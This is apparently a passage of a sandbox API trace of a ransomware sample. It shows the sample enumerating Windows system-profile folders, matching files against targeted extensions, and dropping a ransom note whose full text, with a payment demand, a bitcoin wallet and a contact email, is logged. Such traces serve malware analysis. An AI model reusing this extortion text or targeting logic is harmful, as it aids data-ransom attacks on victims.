[0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.djvu") returned 0 [0144.402] lstrlenA (lpString="*.djvu") returned 6 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.tiff") returned 0 [0144.402] lstrlenA (lpString="*.tiff") returned 6 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.backup") returned 0 [0144.402] lstrlenA (lpString="*.backup") returned 8 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.pdf") returned 0 [0144.403] lstrlenA (lpString="*.pdf") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.cert") returned 0 [0144.403] lstrlenA (lpString="*.cert") returned 6 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.docm") returned 0 [0144.403] lstrlenA (lpString="*.docm") returned 6 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.xlsm") returned 0 [0144.403] lstrlenA (lpString="*.xlsm") returned 6 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.dwg") returned 0 [0144.403] lstrlenA (lpString="*.dwg") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.nd") returned 0 [0144.403] lstrlenA (lpString="*.nd") returned 4 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.tlg") returned 0 [0144.403] lstrlenA (lpString="*.tlg") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.lgb") returned 0 [0144.403] lstrlenA (lpString="*.lgb") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mov") returned 0 [0144.403] lstrlenA (lpString="*.mov") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.xdw") returned 0 [0144.403] lstrlenA (lpString="*.xdw") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.ods") returned 0 [0144.403] lstrlenA (lpString="*.ods") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.wav") returned 0 [0144.403] lstrlenA (lpString="*.wav") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mp3") returned 0 [0144.403] lstrlenA (lpString="*.mp3") returned 5 [0144.403] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.aiff") returned 0 [0144.404] lstrlenA (lpString="*.aiff") returned 6 [0144.404] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.flac") returned 0 [0144.404] lstrlenA (lpString="*.flac") returned 6 [0144.404] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.m4a") returned 0 [0144.404] lstrlenA (lpString="*.m4a") returned 5 [0144.404] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.csv") returned 0 [0144.404] lstrlenA (lpString="*.csv") returned 5 [0144.404] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.404] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.404] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0144.404] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0144.404] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0144.404] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0144.404] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0144.404] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0144.404] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x51ab36f5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0144.404] lstrcmpA (lpString1=".", lpString2="LocalLow") returned -1 [0144.404] lstrcmpA (lpString1="..", lpString2="LocalLow") returned -1 [0144.404] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\*.*") returned="*.*" [0144.405] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow" [0144.405] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow") returned 57 [0144.405] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x51ab36f5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName=".", cAlternateFileName="")) returned 0x502658 [0144.405] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.405] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x51ab36f5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x720000, cFileName="..", cAlternateFileName="")) returned 1 [0144.405] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.405] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.405] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0144.405] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0144.405] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0144.405] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\*.*") returned="*.*" [0144.405] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\", lpString2="Microsoft" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft" [0144.405] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft") returned 67 [0144.405] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0144.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.406] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.406] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0144.406] lstrcmpA (lpString1=".", lpString2="CryptnetUrlCache") returned -1 [0144.406] lstrcmpA (lpString1="..", lpString2="CryptnetUrlCache") returned -1 [0144.406] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0144.406] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\", lpString2="CryptnetUrlCache" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" [0144.406] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 84 [0144.406] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0144.407] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.407] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.407] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.407] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.407] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0144.407] lstrcmpA (lpString1=".", lpString2="Content") returned -1 [0144.407] lstrcmpA (lpString1="..", lpString2="Content") returned -1 [0144.407] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*") returned="*.*" [0144.407] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpString2="Content" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" [0144.407] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 92 [0144.407] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.428] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.428] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.429] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.429] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.429] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x537078b0, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0144.429] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0144.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0144.429] lstrcmpiA (lpString1="", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned -1 [0144.429] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*") returned="*.*" [0144.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0144.429] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0144.429] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0144.429] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0xffffffff [0144.429] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0144.433] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.433] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.435] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.436] CloseHandle (hObject=0xa0) returned 1 [0144.436] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ems") returned 0 [0144.436] lstrlenA (lpString="*.ems") returned 5 [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.db") returned 0 [0144.436] lstrlenA (lpString="*.db") returned 4 [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dbf") returned 0 [0144.436] lstrlenA (lpString="*.dbf") returned 5 [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.myox") returned 0 [0144.436] lstrlenA (lpString="*.myox") returned 6 [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.myo") returned 0 [0144.436] lstrlenA (lpString="*.myo") returned 5 [0144.436] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbw") returned 0 [0144.437] lstrlenA (lpString="*.qbw") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbb") returned 0 [0144.437] lstrlenA (lpString="*.qbb") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbm") returned 0 [0144.437] lstrlenA (lpString="*.qbm") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbo") returned 0 [0144.437] lstrlenA (lpString="*.qbo") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbx") returned 0 [0144.437] lstrlenA (lpString="*.qbx") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qba") returned 0 [0144.437] lstrlenA (lpString="*.qba") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qby") returned 0 [0144.437] lstrlenA (lpString="*.qby") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbj") returned 0 [0144.437] lstrlenA (lpString="*.qbj") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ofx") returned 0 [0144.437] lstrlenA (lpString="*.ofx") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qif") returned 0 [0144.437] lstrlenA (lpString="*.qif") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mye") returned 0 [0144.437] lstrlenA (lpString="*.mye") returned 